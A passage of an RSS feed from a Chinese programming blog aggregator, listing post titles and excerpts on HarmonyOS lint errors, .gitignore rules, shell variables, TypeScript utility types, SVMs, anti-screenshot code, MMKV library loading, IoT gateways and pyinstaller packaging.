      <description>这是我在学习鸿蒙开发中遇见的小问题 Q1：This custom component must have a &#39;build&#39; function. &amp;lt;etsLint&amp;gt;Q2：page_title is not translated into en_US(American English)Q3：Module &#39;&#34;../CustomComponent/CustomButton&#34;&#39; declares &#39;CustomButton&#39; locally, but it is not exported. &amp;lt;tsCheck&amp;gt;Q4：提示文件不存在或者格式不合法 Q1：This custom component must have a ‘build’ function. 源码&#xA;@Component export default struct ProgressEditPanel { } 问题&#xA;源码中没有出现build方法&#xA;解决&#xA;@Component export default struct ProgressEditPanel { build() {} } Q2：page_title is not translated into en_US(American English) 提示：page_title is not translated into en_US(American English)&#xA;修改：三个string.json文件都需要出现相同的name和value才行，如果根据提示进行修改</description>
    </item>
    <item>
      <title>.gitignore</title>
      <link>https://bchobby.github.io/posts/a084b794bc0759e7a6b77810e01874f2/</link>
      <pubDate>Wed, 27 Dec 2023 16:54:07 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a084b794bc0759e7a6b77810e01874f2/</guid>
      <description>.gitignore 文件忽略规则: 开头的/并不是标识文件夹的要表明仅忽略文件夹需要在名称后面添加 /，而不是前面.&#xA;要想忽略某文件夹，但其下部分文件不能忽略。则需要添加通配符*，然后在后面添加！开头的规则，来指出不忽略的文件或文件夹。&#xA;只要写了路径，即/左右两边都有字符，那么就是指的“绝对路径”(相对仓库的，仓库.git文件夹所在目录为根目录)，但可以用*来指定层级，指定第几层子目录下的某个文件夹。&#xA;空格不匹配任意文件，可作为分隔符，可用反斜杠转义&#xA;#开头的模式标识注释，可以使用反斜杠进行转义&#xA;! 开头的模式标识否定，该文件将会再次被包含，如果排除了该文件的父级目录，则使用 ! 也不会再次被包含。可以使用反斜杠进行转义&#xA;/ 结束的模式只匹配文件夹以及在该文件夹路径下的内容，但是不匹配该文件&#xA;/ 开始的模式匹配项目跟目录&#xA;如果一个模式不包含斜杠，则它匹配相对于当前 .gitignore 文件路径的内容，如果该模式不在 .gitignore 文件中，则相对于项目根目录&#xA;**匹配多级目录，可在开始，中间，结束&#xA;?通用匹配单个字符&#xA;[]通用匹配单个字符列表&#xA;常用匹配示例： bin/: 忽略当前路径下的bin文件夹，该文件夹下的所有内容都会被忽略，不忽略 bin 文件 /bin: 忽略根目录下的bin文件 /*.c: 忽略 cat.c，不忽略 build/cat.c debug/*.obj: 忽略 debug/io.obj，不忽略 debug/common/io.obj 和 tools/debug/io.obj**/foo: 忽略/foo, a/foo, a/b/foo等a/**/b: 忽略a/b, a/x/b, a/x/y/b等 !/bin/run.sh: 不忽略 bin 目录下的 run.sh 文件*.log: 忽略所有 .log 文件config.php: 忽略当前路径的 config.php 文件 关于.gitignore规则不生效的问题 .gitignore只能忽略那些原来没有被track的文件，如果某些文件已经被纳入了版本管理中，则修改.gitignore是无效的。&#xA;解决方法就是先把本地缓存删除（改变成未track状态），然后再提交:&#xA;git rm -r --cached . git add .</description>
    </item>
    <item>
      <title>十、Shell 变量类型</title>
      <link>https://bchobby.github.io/posts/c65f1025ed5aacf3163787ed51e17ff1/</link>
      <pubDate>Wed, 27 Dec 2023 16:52:22 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c65f1025ed5aacf3163787ed51e17ff1/</guid>
      <description> Shell 支持不同类型的变量，其中一些主要的类型如下：&#xA;一、整数变量 整型变量用于存储整数据数据。可以使用整数赋值给变量，或者通过命令的输出结果获取整数值。整型变量可以用于数学计算、循环控制等等。&#xA;#!/bin/bash num1=10 num2=5 sum=$((num1 + num2)) echo &#34;和为: $sum&#34; 运行结果 和为: 15&#xA;二、字符变量 字符串变量用于存储文本数据。使用字符串变量来保存文本、文件名、命令的输出等。在Shell脚本中，使用双引号或单引号来定义字符串变量。&#xA;#!/bin/bash str1=&#34;Hello, World!&#34; echo $str1 运行结果 Hello, World!&#xA;三、数组变量 数组变量用于存储多个值的数据结构。数组可以存储字符串或整数等不同类型的值，并可以通过索引访问特定的元素。在Shell脚本中，使用括号定义数组变量，以及索引访问数组中的元素。&#xA;#!/bin/bash arr1=(&#34;apple&#34; &#34;banana&#34; &#34;orange&#34;) echo ${arr1[0]} # 输出 &#34;apple&#34; echo ${arr1[1]} # 输出 &#34;banana&#34; echo ${arr1[2]} # 输出 &#34;orange&#34; apple banana orange 四、环境变量 环境变量是用来存储系统环境信息的变量。这些变量可以影响脚本的运行方式，并且可以在脚本之间共享和传递。环境变量通常用于配置脚本的行为、设置路径、设置系统参数等，需要使用 $ 符号来访问环境变量的值，以下是一些常见的环境变量：&#xA;PATH：用于存储可执行文件的搜索路径。HOME：当前用户的家目录。USER：当前登录的用户名。SHELL：当前使用的Shell解释器。PWD：当前工作目录。 #!/bin/bash echo &#34;当前用户：$USER&#34; echo &#34;当前工作目录：$PWD&#34; 当前用户：root 当前工作目录：/root 五、特殊变量 在Shell脚本中，有一些特殊的环境变量，它们具有特定的用途和意义。以下是一些常见的特殊环境变量：&#xA;$0：当前脚本的名称。$1、$2、$3...：位置参数，表示传递给脚本的参数。$#：传递给脚本的位置参数的数量。$*：所有位置参数的列表。$@：所有位置参数的列表，与$*类似，但每个参数都是作为一个独立的字符串传递的。$?：上一个命令的退出状态。0表示成功，非0表示失败。 </description>
    </item>
    <item>
      <title>ts相关笔记（Partial、Required、Readonly、Record、Exclude、Extract）</title>
      <link>https://bchobby.github.io/posts/f93330caf8d24afc935da872a1116163/</link>
      <pubDate>Wed, 27 Dec 2023 16:52:17 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f93330caf8d24afc935da872a1116163/</guid>
      <description>总结一下ts内置的一些常用的工具类型。&#xA;TypeScript 内置了一批简单的工具类型，它们就是类型别名的使用方式，同时在全局可用，无需导入。&#xA;Partial 它接收一个对象类型，并将这个对象类型的所有属性都标记为可选&#xA;实现：&#xA;type Partial&amp;lt;T&amp;gt; = { [P in keyof T]?: T[P]; }; 使用案例：&#xA;type User = { name: string; age: number; email: string; }; type PartialUser = Partial&amp;lt;User&amp;gt;; const user: User = { name: &#39;John Doe&#39;, age: 30, email: &#39;john.doe@example.com&#39; }; // 可以不实现全部的属性了！ const partialUser: PartialUser = { name: &#39;John Doe&#39;, age: 30 }; Required 把属性标记为必须&#xA;实现：&#xA;type Required&amp;lt;T&amp;gt; = { [P in keyof T]-?: T[P]; }; 使用案例：</description>
    </item>
    <item>
      <title>模式识别与机器学习-SVM（带软间隔的支持向量机）</title>
      <link>https://bchobby.github.io/posts/e5879088e5b02feb244ee7087fa95871/</link>
      <pubDate>Wed, 27 Dec 2023 16:37:52 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e5879088e5b02feb244ee7087fa95871/</guid>
      <description>SVM（带软间隔的支持向量机） 软间隔思想的由来软间隔的引入 谨以此博客作为复习期间的记录。&#xA;软间隔思想的由来 在上一篇博客中，回顾了线性可分的支持向量机,但在实际情况中，很少有完全线性可分的情况，大部分线性可分的情况都是整体线性可分，个别样本点无法线性分割开。因此就要避免这极个别样本点对分割平面产生的影响。&#xA;线性可分支持向量机&#xA;软间隔的引入 在分类过程中，允许极个别数据点“越界”，如何在目标函数中体现这一点呢？&#xA;软间隔支持向量机（Soft Margin Support Vector Machine）的数学形式可以通过修改支持向量机（SVM）的优化目标函数和约束条件来实现。软间隔允许一些数据点越界，引入了松弛变量来处理这些点。&#xA;首先，我们考虑软间隔的目标函数和约束条件：&#xA;目标函数：&#xA;最小化目标函数，同时考虑间隔的最大化和误分类点的惩罚，即：&#xA;min ⁡ w , b , ξ 1 2 ∥ w ∥ 2 + C ∑ i = 1 N ξ i \min_{\mathbf{w}, b, \boldsymbol{\xi}} \frac{1}{2}\|\mathbf{w}\|^2 + C \sum_{i=1}^{N} \xi_i w,b,ξmin​21​∥w∥2+Ci=1∑N​ξi​&#xA;这里 w \mathbf{w} w 是超平面的法向量， b b b 是截距， ξ \boldsymbol{\xi} ξ 是松弛变量， C &amp;gt; 0 C &amp;gt; 0 C&amp;gt;0 是一个超参数，用于控制对误分类点的惩罚程度。&#xA;约束条件：</description>
    </item>
    <item>
      <title>模式识别与机器学习-SVM（线性支持向量机）</title>
      <link>https://bchobby.github.io/posts/bd6400299bb09f4e43ca486fa678d177/</link>
      <pubDate>Wed, 27 Dec 2023 16:35:31 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/bd6400299bb09f4e43ca486fa678d177/</guid>
      <description>线性支持向量机 线性支持向量机间隔距离学习的对偶算法算法:线性可分支持向量机学习算法线性可分支持向量机例子 谨以此博客作为复习期间的记录 线性支持向量机 在以上四条线中，都可以作为分割平面，误差率也都为0。但是那个分割平面效果更好呢？其实可以看出，黑色的线具有更好的性质，因为如果将黑色的线作为分割平面，将会有更大的间隔距离。&#xA;其中，分割平面可以用以下式子表示:&#xA;w x + b = 0 wx+b = 0 wx+b=0&#xA;w 和 b w\text{和}b w和b都是有待学习的参数，SVM的核心思想之一就是找到这样的一个平面，使得间隔距离最大。那么该如何表述间隔距离呢？&#xA;间隔距离 在分割平面 w x + b = 0 wx+b = 0 wx+b=0确定的情况下，对每一个样本点 x i , ∣ w x i + b ∣ x_i,|wx_i+b| xi​,∣wxi​+b∣可以表示样本点 x i x_i xi​到分割平面的距离。而若是二分类， y i ∈ { 1 , − 1 } y_i \in \{1,-1\} yi​∈{1,−1}，那么 y i ( w x i + b ) y_i(wx_i+b) yi​(wxi​+b)同样可以表示样本点到分割平面的距离。</description>
    </item>
    <item>
      <title>App防止恶意截屏功能的方法：iOS、Android和鸿蒙系统的实现方案</title>
      <link>https://bchobby.github.io/posts/fb449973d1918b542eb3ffa2d8d29d88/</link>
      <pubDate>Wed, 27 Dec 2023 16:29:58 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fb449973d1918b542eb3ffa2d8d29d88/</guid>
      <description>防止应用被截图是一个比较常见的需求，主要是出于安全考虑。下面将分别为iOS（苹果系统）、Android（安卓系统）及HarmonyOS（鸿蒙系统）提供防止截屏的方法和示例代码。&#xA;在企业内部使用的应用中，防止员工恶意截屏是一个重要的安全需求。本文将详细介绍iOS、Android和鸿蒙系统的防止截屏的方法，并提供相应的代码示例，以帮助代码初学者理解和实现该功能。&#xA;iOS系统防止截屏方法：&#xA;在iOS系统中，可以通过设置UIWindow的windowLevel为UIWindowLevelNormal + 1，使应用窗口覆盖在截屏窗口之上，从而阻止截屏。以下是Objective-C和Swift两种语言的代码示例：&#xA;1. iOS系统防止截屏&#xA;在iOS中，可以使用UIScreen的isCaptured属性来检测屏幕是否被录制或截图。为了防止截屏，你可以监听UIScreenCapturedDidChange通知，当屏幕开始被捕获时，你可以做一些操作，比如模糊视图或显示一个全屏的安全警告。&#xA;swift&#xA;// 注册屏幕捕获变化通知 NotificationCenter.default.addObserver( self, selector: #selector(screenCaptureChanged), name: UIScreen.capturedDidChangeNotification, object: nil ) @objc func screenCaptureChanged(notification: NSNotification) { if UIScreen.main.isCaptured { // 屏幕正在被捕获，可以在这里做一些隐藏内容的操作，比如 // 显示一个覆盖所有内容的视图 } else { // 屏幕没有被捕获，可以移除那个覆盖的视图 } } 但需要注意的是，iOS不允许应用程序完全禁止截屏。因为截图功能是系统级别的，而不是应用级别的，上述代码只能做到在截图时采取一定的响应措施，不能完全防止。&#xA;2. Android系统防止截屏&#xA;在Android中，可以通过设置Window的属性来防止用户截图或录屏。这通过禁用FLAG_SECURE来实现。&#xA;java&#xA;// 在Activity中设置禁止截屏 @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); // 在setContentView之前调用 getWindow().setFlags(WindowManager.LayoutParams.FLAG_SECURE, WindowManager.LayoutParams.FLAG_SECURE); setContentView(R.layout.activity_main); } 这样设置后，当前的Activity将无法被截屏或录屏。&#xA;3. HarmonyOS（鸿蒙系统）防止截屏&#xA;HarmonyOS是华为开发的一个分布式操作系统，目前它在应用开发中有着与Android类似的API。因此可以使用与Android相同的方法进行禁止截屏。&#xA;java&#xA;// 在Ability(Activity)中设置禁止截屏 @Override protected void onStart(Intent intent) { super.</description>
    </item>
    <item>
      <title>面试陪伴群（一起打卡学习）</title>
      <link>https://bchobby.github.io/posts/a55c323fcfda9824e2f934de84bd36ad/</link>
      <pubDate>Wed, 27 Dec 2023 16:22:36 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a55c323fcfda9824e2f934de84bd36ad/</guid>
      <description>为了迎接即将到了的 2024 年跳槽季和春招季，我准备创建一个高质量的面试陪伴群，和大家一起高效的学习，一起为即将到来的面试季做足充分的准备。&#xA;陪伴群规划 陪伴群愿景和规划：&#xA;一起参与打卡学习：设置 21 天学习打卡计划，由群主提供每天 10 道常见面试题的题目，学员自行学习和打卡（需提供学习笔记发表到飞书云文档，并提供云文档链接进行打卡）&#xA;查漏补缺（打卡第二天获得上一天面试题答案）：每个群成员在第一天打卡之后，在第二天会收到磊哥发的上一天面试答案，和自己的答案比较，查漏补缺、重复记忆。&#xA;提供简历辅导：磊哥每天为群内成员提供 2 份免费简历辅导的名额，先到先得，在群内申请文档中填写排队信息（申请地址见群公告）。&#xA;群内讨论和技术交流：所有群成员可在群内讨论和分享面试题以及面试经验等内容。&#xA;部门直推和内推：群成员在 2024 年年初会得到一手的部门直推和内推的信息，帮助大家更好的找到工作。&#xA;你将收获 技能提升：通过共同学习收获技能的飞速提升。&#xA;同道中人：一起找工作的搭子。&#xA;简历提升：由磊哥这个有十几年工作经验，八年面试官经验的资深程序员，帮你辅导简历，收获更多面试机会。&#xA;一手直推和内推消息：群成员会获得最新的一手直推和内推信息。&#xA;打卡规则 每人每天最多打卡 2 天学习内容（多打卡无效）。&#xA;每周至少打卡 5 天学习内容。&#xA;如何收费？ 陪伴群收费，总共由以下两部分组成：&#xA;固定群费：原价 299，目前内测阶段 99 元（满 50 人恢复原价）。&#xA;打卡押金（自愿缴纳）：50 元，自愿缴纳。完成 30 天打卡内容学习，退还押金；如果打卡中断或未完成打卡，则算打卡失败，押金放入当期奖金池，平分给所有打卡完成的学生。所有缴纳的押金，会公示给群成员。&#xA;什么时候开始？ 即日起开始招生，满 50 人，拉群开始打卡。&#xA;如何报名？ 添加微信：gg_stone，备注【陪伴群】，不然不予通过。&#xA;直接转账 99（+自愿缴纳的 50 打卡押金）。</description>
    </item>
    <item>
      <title>couldn‘t find “libmmkv.so“ android8.1.0 Nexus 5X</title>
      <link>https://bchobby.github.io/posts/c736bed0b39f8fdc005c13f8576d643a/</link>
      <pubDate>Wed, 27 Dec 2023 16:12:46 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c736bed0b39f8fdc005c13f8576d643a/</guid>
      <description>我们的应用一直没有奔溃，但是在某几款设备可能存在mmkv的报错。&#xA;研究了很久，一方面是因为mmkv团队也已经不管这个事情，从他的issue来看，每次有人提到这个，他要么就不予理睬，给出这个并非库维护者需要干的事情，要么就说你去找google。&#xA;抛开那种确实是集成库的开发者的问题之后，事实99%都能用的情况后，那么，还存在于某个机型，比如我这里也遇到的android8.1.0 Nexus 5X，也会存在找不到库的情况。&#xA;首先mmkv库新版已经不支持armeabi。&#xA;解决方案有多种：&#xA;https://blog.csdn.net/xiaobaaidaba123/article/details/127250141&#xA;方案1： app 的build.gradle 检查 android-buildTypes 下的ndk abiFilters&#xA;ndk {&#xA;abiFilters “armeabi”&#xA;}&#xA;改为&#xA;ndk {&#xA;abiFilters “armeabi-v7a”&#xA;}&#xA;armeabi-v7a 可以向下兼容 armeabi&#xA;方案2: 如果项目有些so 只有 armeabi 架构无法升级到 v7a 的话，可以 通过 mmkv maven 依赖的aar 包找到 armeabi-v7a 的 so, 把 so 放到项目 armeabi 目录，abiFilters 可以依旧是 “armeabi”。 从他的方案来看，只写了一个abiFilters，说明他是专用的机器。也难怪别人回复并不能解决。我推测可以参考的是，拷贝和全部写上abiFilters，目前没有尝试。&#xA;https://my.oschina.net/vivotech/blog/5129118&#xA;这里是vivo团队，提到的一个解决方案，重链接。但是没有给出具体的代码。后续有空再行翻阅。&#xA;https://github.com/Tencent/MMKV/wiki/android_advance_cn#%E8%87%AA%E5%AE%9A%E4%B9%89-library-loader&#xA;https://github.com/KeepSafe/ReLinker&#xA;官方和relinker，都提到了在android6.0以下，存在系统层面的loadLib方法不完善的问题，在6.0之上是好的。&#xA;但是显然，从relinker的issue和我这里，都可以看到8.1的nexus5x仍然出现了。&#xA;从这个角度，只能推测，可能这些手机解压库可能导致了丢失或者目录结构不正常的问题。&#xA;那么解决方案代码改进为：&#xA;MMKV.initialize(app) ---&amp;gt; //start 尝试： 通过找到一个自行加载 // 二次保护来解决Mmkv可能在Nexus5X 8.1的crash问题 try { MMKV.</description>
    </item>
    <item>
      <title>安全生产人员定位系统助企业实现智能化管理，提高生产安全性和效率</title>
      <link>https://bchobby.github.io/posts/d2078d56373b3ffbddeea9b611214ea2/</link>
      <pubDate>Wed, 27 Dec 2023 16:11:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d2078d56373b3ffbddeea9b611214ea2/</guid>
      <description>安全生产人员定位系统是基于物联网技术的系统，通过集成各种传感器和通信技术，实时监测员工的位置和活动状态。该系统可以帮助企业管理者了解员工的工作状态，及时发现潜在的安全隐患，从而采取相应的措施，保障员工的安全。&#xA;在工业生产过程中，安全生产是至关重要的。为了确保员工的安全，提高生产效率，安全生产人员定位系统应运而生。该系统通过实时监测员工的位置和活动状态，为管理者提供准确的信息，以做出及时的决策，从而保障员工的安全，提升生产效率。&#xA;安全生产人员定位系统的功能特点&#xA;实时定位：系统能够实时获取员工的位置信息，并展示在电子地图上，方便管理人员随时掌握员工分布情况。&#xA;轨迹回放：系统能够记录员工的行动轨迹，并支持回放功能，方便管理人员对员工行为进行分析和追溯。&#xA;预警功能：系统能够根据设定的规则，对员工的位置信息进行判断，如有安全隐患或违规操作，系统将自动预警并通知管理人员。&#xA;数据统计：系统能够对人员位置数据进行统计和分析，生成各类报表和图表，方便管理人员了解生产效率和人员分布情况。&#xA;权限管理：系统支持多级权限管理，不同级别的管理人员可以查看不同的数据和信息，确保数据安全。&#xA;安全生产人员定位系统的应用场景&#xA;化工企业：在化工企业中，安全生产人员定位系统可以帮助企业实时掌握员工的位置信息，预防事故发生，提高生产安全性。例如，在危险化学品生产区域，员工需要严格遵守安全距离和操作规程。通过人员定位系统，企业可以实时监测员工的位置，确保他们遵守安全规定，并及时预警潜在的安全隐患。&#xA;建筑施工现场：在建筑施工现场，安全生产人员定位系统可以帮助企业实时掌握员工的位置信息，预防事故发生，提高生产效率。例如，在高层建筑或复杂结构的施工中，员工需要遵循特定的安全规范和操作流程。通过人员定位系统，企业可以实时监测员工的位置和活动情况，确保他们遵守安全规定，并及时采取必要的措施，提高施工的安全性和效率。&#xA;制造企业：在制造企业中，安全生产人员定位系统可以帮助企业实现智能化管理，提高生产效率和质量。例如，在生产线自动化程度较高的制造企业中，员工需要按照规定的流程和操作规范进行生产。通过人员定位系统，企业可以实时监测员工的位置和活动情况，确保他们遵守操作规程，并及时采取必要的措施，提高生产效率和产品质量。&#xA;案例分析&#xA;以某大型化工企业为例，该企业引入了安全生产人员定位系统，实现了对员工的实时追踪和定位。通过在厂区内设置定位基站和为员工配备定位标签，系统能够实时获取员工的位置信息并展示在电子地图上。管理人员可以通过系统随时掌握员工分布情况，对安全隐患进行预警和干预，有效提高了生产安全性和效率。同时，系统还能够记录员工的行动轨迹和数据统计，方便企业对生产过程进行分析和优化。此外，该企业还利用该系统实现了对危险区域的管控和安全距离的设定，进一步提高了生产安全性。&#xA;安全生产人员定位系统在企业的安全生产过程中具有重要意义。通过实时掌握员工的位置信息，可以及时发现安全隐患，预防事故发生，提高生产效率。该系统具有实时定位、轨迹回放、预警功能、数据统计和权限管理等功能特点，可以广泛应用于化工、建筑施工、制造等企业。通过引入安全生产人员定位系统，企业可以实现智能化管理，提高生产安全性和效率。</description>
    </item>
    <item>
      <title>BP算法与淋浴器的温度调节</title>
      <link>https://bchobby.github.io/posts/ce0c7a1fcda361ae99d7b09283a2e79c/</link>
      <pubDate>Wed, 27 Dec 2023 16:11:14 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ce0c7a1fcda361ae99d7b09283a2e79c/</guid>
      <description>BP算法（反向传播算法）是一种用于神经网络训练的基本算法。它通过逐层迭代地调整神经网络的权重和偏置，以使网络的输出尽可能接近期望的输出。BP算法之所以能够训练神经网络，是因为它基于梯度下降的思想，通过最小化损失函数来优化网络参数。&#xA;BP算法的原理如下：&#xA;前向传播（Forward Propagation）：从输入层开始，将输入信号通过每一层的权重和激活函数进行计算，得到网络的输出结果。&#xA;计算损失（Loss Calculation）：将网络的输出结果与期望的输出结果进行比较，计算出网络的误差（损失）。&#xA;反向传播（Backward Propagation）：从输出层开始，根据损失值计算每一层的梯度（导数），然后将梯度向前传递至输入层。这里利用了链式法则来计算每一层的梯度，将损失沿着网络反向传播。&#xA;更新权重和偏置（Weight and Bias Update）：利用梯度下降的思想，根据梯度和学习率的大小，更新每一层的权重和偏置，使得损失函数不断减小。&#xA;重复以上步骤：通过多次迭代，不断调整网络的权重和偏置，直到达到设定的训练停止条件（如达到最大迭代次数或损失函数收敛）。&#xA;将BP算法与淋浴器的温度调节类比可以更好地理解其原理。假设我们希望调节淋浴器的温度，使得输出的温度尽量接近期望的温度。我们可以将淋浴器看作是一个神经网络，温度调节器看作是网络的权重和偏置。初始时，淋浴器的温度与期望温度存在一定的差距，即损失。通过调整温度调节器的参数（权重和偏置），我们可以逐渐减小损失，使得淋浴器的温度越来越接近期望温度。&#xA;在这个类比中，调节温度的过程类似于前向传播，计算损失的过程类似于计算损失，调整温度调节器的参数类似于反向传播和参数更新。通过多次迭代，不断调整温度调节器的参数，最终可以达到期望的温度。同样地，通过多次迭代，BP算法可以不断调整神经网络的权重和偏置，使得网络的输出逐渐接近期望的输出。&#xA;综上所述，BP算法通过梯度下降的思想，利用反向传播和参数更新的方式，逐步优化神经网络的权重和偏置，从而实现网络的训练和学习。</description>
    </item>
    <item>
      <title>利用ChatGPT在不同教学场景中的应用</title>
      <link>https://bchobby.github.io/posts/30c56c6794068c87ec08233c7f6c65dc/</link>
      <pubDate>Wed, 27 Dec 2023 16:10:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/30c56c6794068c87ec08233c7f6c65dc/</guid>
      <description>教学策略与最佳实践：&#xA;课堂讨论：在课堂上可以利用ChatGPT作为一个辅助工具，回答学生的问题、提供解释和补充知识。教师可以利用ChatGPT快速获取相关信息，并且根据学生的提问进行回答和引导讨论。&#xA;个别辅导：对于个别辅导场景，ChatGPT可以扮演一个虚拟助教的角色。学生可以通过与ChatGPT对话来解决问题、寻求帮助和获得指导。ChatGPT可以提供个性化的反馈和解答，帮助学生理解概念和解决困惑。&#xA;在线学习：在在线学习环境中，ChatGPT可以作为一个在线学习伙伴，与学生进行交互并提供学习支持。学生可以通过与ChatGPT的对话来复习知识、解答问题和进行自主学习。ChatGPT可以根据学生的需求提供个性化的学习材料和指导。&#xA;课程设计与教学资源开发：&#xA;利用ChatGPT生成课程笔记、习题和案例分析等教学资源，可以提高教学效率和资源的可重用性。教师可以将ChatGPT用于自动生成课程笔记，将讲解内容输入ChatGPT并生成详细的笔记，然后对生成的内容进行编辑和修正。同样地，使用ChatGPT也可以生成习题和案例分析，丰富教学资源库，并根据需要进行调整和定制。&#xA;ChatGPT在学生作业和考试的自动化批改与评估中的应用：&#xA;利用ChatGPT进行学生作业和考试的自动化批改可以提高效率和准确性。ChatGPT可以根据预设的标准答案和评分规则，对学生提交的作业和答案进行自动评估和打分。同时，ChatGPT还可以提供及时的反馈和建议，帮助学生了解自己的学习进展和改进空间。这种方式可以节省教师的时间，同时给予学生更加个性化的评估和指导。&#xA;ChatGPT背景下的实验课程教学：&#xA;在实验课程教学中，可以结合Code Interpreter和ChatGPT插件来提供更加全面的支持。Code Interpreter可以用于在线执行和调试学生的代码，帮助他们理解编程概念和调试错误。ChatGPT插件可以用于与学生进行交互，回答问题、提供指导和解释。通过这种方式，学生可以得到更加实时和个性化的支持，提高实验课程的学习效果。&#xA;总之，利用ChatGPT在不同教学场景中可以提供个性化的辅助学习和教学支持。它能够帮助教师提高教学效率，为学生提供个性化的学习体验，并且促进自主学习和深度思考。然而，在使用ChatGPT时，需要注意对生成内容的审查和修正，以确保准确性和可靠性。</description>
    </item>
    <item>
      <title>IoT网关在工业生产中的应用分享-天拓四方</title>
      <link>https://bchobby.github.io/posts/bb9a10fbb014c1ae6088c96ede5a1316/</link>
      <pubDate>Wed, 27 Dec 2023 16:06:13 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/bb9a10fbb014c1ae6088c96ede5a1316/</guid>
      <description>IoT网关可以连接各种不同类型的物联网设备，实现设备之间的数据传输和通信。IoT网关具有强大的数据处理和分析能力，可以对收集到的数据进行处理、分析和存储，从而为各种应用提供智能化的服务。&#xA;在工业生产环境中，IoT网关是实现设备间通信和数据传输的关键组件。它可以连接生产线上的各种设备，如传感器、执行器、PLC等，确保数据的实时、准确传输。同时，IoT网关还能对数据进行预处理和分析，为上层应用提供有价值的信息。&#xA;在工业4.0的框架下，物联网技术是实现生产自动化、智能化和网络化的关键。IoT网关作为连接设备与云平台、应用软件之间的桥梁，在工业4.0中发挥着核心作用。&#xA;IoT网关在工业生产中的功能特点&#xA;1、IoT网关与设备间的通信&#xA;在工业生产中，设备之间的通信是确保生产流程顺畅的关键。IoT网关支持多种通信协议，如MQTT、CoAP等，能够与各种类型的设备进行通信，确保数据的实时传输和共享。&#xA;2、数据采集与处理&#xA;IoT网关能够实时采集生产线上的各种数据，如温度、压力、流量等。通过对这些数据的处理和分析，可以实时监控生产线的运行状态，预测潜在的问题，并提前进行干预，确保生产的稳定和高效。&#xA;3、远程监控与管理&#xA;通过IoT网关，生产管理人员可以远程监控设备的运行状态，实时了解生产线的运行情况。同时，IoT网关还可以提供故障预警和故障诊断功能，帮助管理人员及时发现并解决问题，减少停机时间。&#xA;4、安全性与可靠性&#xA;在工业生产中，数据的安全性和可靠性至关重要。IoT网关通常配备强大的安全机制，如数据加密、访问控制等，确保数据在传输和存储过程中的安全性。此外，IoT网关还具备高可用性和容错能力，确保在设备故障或网络中断时，生产流程仍能正常运行。&#xA;IoT网关在工业生产中的应用案例&#xA;以某汽车制造厂的生产线为例，该厂引入了IoT网关技术，实现了生产线的智能化改造。通过IoT网关连接生产线上的各种设备，实现了设备间的实时通信和数据传输。同时，利用IoT网关的数据处理和分析功能，对生产线上的数据进行实时监控和分析，及时发现生产过程中的问题并进行调整。这不仅提高了生产效率和质量，还降低了生产成本和故障率。&#xA;相关产品&#xA;TDE 系列产品是天拓四方推出的带智能边缘计算的数据采集网关，可以方便地实现现场设备的远程数据采集、程序远程下载和远程维护。支持300+的工业设备驱动协议，2 路 RJ45 以太网和最多 5 路串口通讯接口，可满足绝大部分工业控制器设备的联网需求。同时支持以太网宽带、4G/5G、Wifi 上网方式。可通过数网星工业云平台实现远程配置、诊断和管理等功能。 IoT网关在工业生产中发挥着重要的作用。它不仅是连接设备与云平台和应用软件的桥梁，还是实现生产自动化、智能化和网络化的关键。通过引入IoT网关技术，企业能够提高生产效率和质量，降低成本和故障率，实现可持续发展。同时，随着物联网技术的不断发展和普及，IoT网关在工业生产中的应用将越来越广泛。它能够连接各种工业设备，实现设备间的通信和数据传输，为工业生产的智能化提供了有力支持。未来，随着技术的不断进步和创新，IoT网关将在工业生产中发挥更加重要的作用，推动工业生产的智能化和高效化发展。</description>
    </item>
    <item>
      <title>python打包项目pyinstaller的使用及问题解决</title>
      <link>https://bchobby.github.io/posts/47ae41896af2d34823afc301fdc35ea4/</link>
      <pubDate>Wed, 27 Dec 2023 15:52:26 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/47ae41896af2d34823afc301fdc35ea4/</guid>
      <description>前言&#xA;在使用python编写了一个小程序之后，希望能够将其打包为一个可执行文件，如exe格式，这样就能够在其他电脑上安装使用，因此，打包python项目是一个普遍的需求。&#xA;配置 平台：windows10&#xA;工具：visual studio code&#xA;语言：python&#xA;库：pyinstaller&#xA;第三方工具：虚拟文件打包工具Enigma Virtual Box&#xA;一、pyinstaller 安装 pip install pyinstaller 二、pyinstaller 使用 pyinstaller最简单的用法就是：&#xA;pyinstaller xxx.py 在你当前工作的项目根目录下，进入终端命令行，输入以上指令，其中xxx是你得python主项目名称。&#xA;正常情况下，pyinstaller此时会自动执行打包程序，但也可能会遇到错误：&#xA;The &#39;pathlib&#39; package is an obsolete backport of a standard library package and is incompatible with PyInstaller. Please remove this package (located in E:\Program Files\Python312\Lib\site-packages) using &#34;E:\Program Files\Python312\python.exe&#34; -m pip uninstall pathlib then try again. 这个错误表示，如果你安装了pathlib，你需要卸载它。&#xA;pip uninstall pathlib 等待卸载完成，再次使用pyinstaller命令即可。&#xA;当打包完成后，会在当前项目文件下生成两个文件夹：&#xA;一个是build，一个是dist，其中exe文件就在dist文件夹下：&#xA;正常情况下，此时如果点击exe文件，应该能直接启动程序。但有时会遇到问题，比如路径问题。&#xA;我们在编程时，有时会为了方便，对于程序里用到的其他资源文件如图片、文本或者配置性文件，直接使用了相对路径，但一旦打包之后，程序启动时的终端可能就完全不一样了，此时相对路径很可能就报错。&#xA;那么此时应该如何处理呢？</description>
    </item>
    <item>
      <title>【机器学习】西瓜书第6章支持向量机课后习题6.1参考答案</title>
      <link>https://bchobby.github.io/posts/f2dfd31fc0d3b2a62570c6ddff634650/</link>
      <pubDate>Wed, 27 Dec 2023 15:45:45 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f2dfd31fc0d3b2a62570c6ddff634650/</guid>
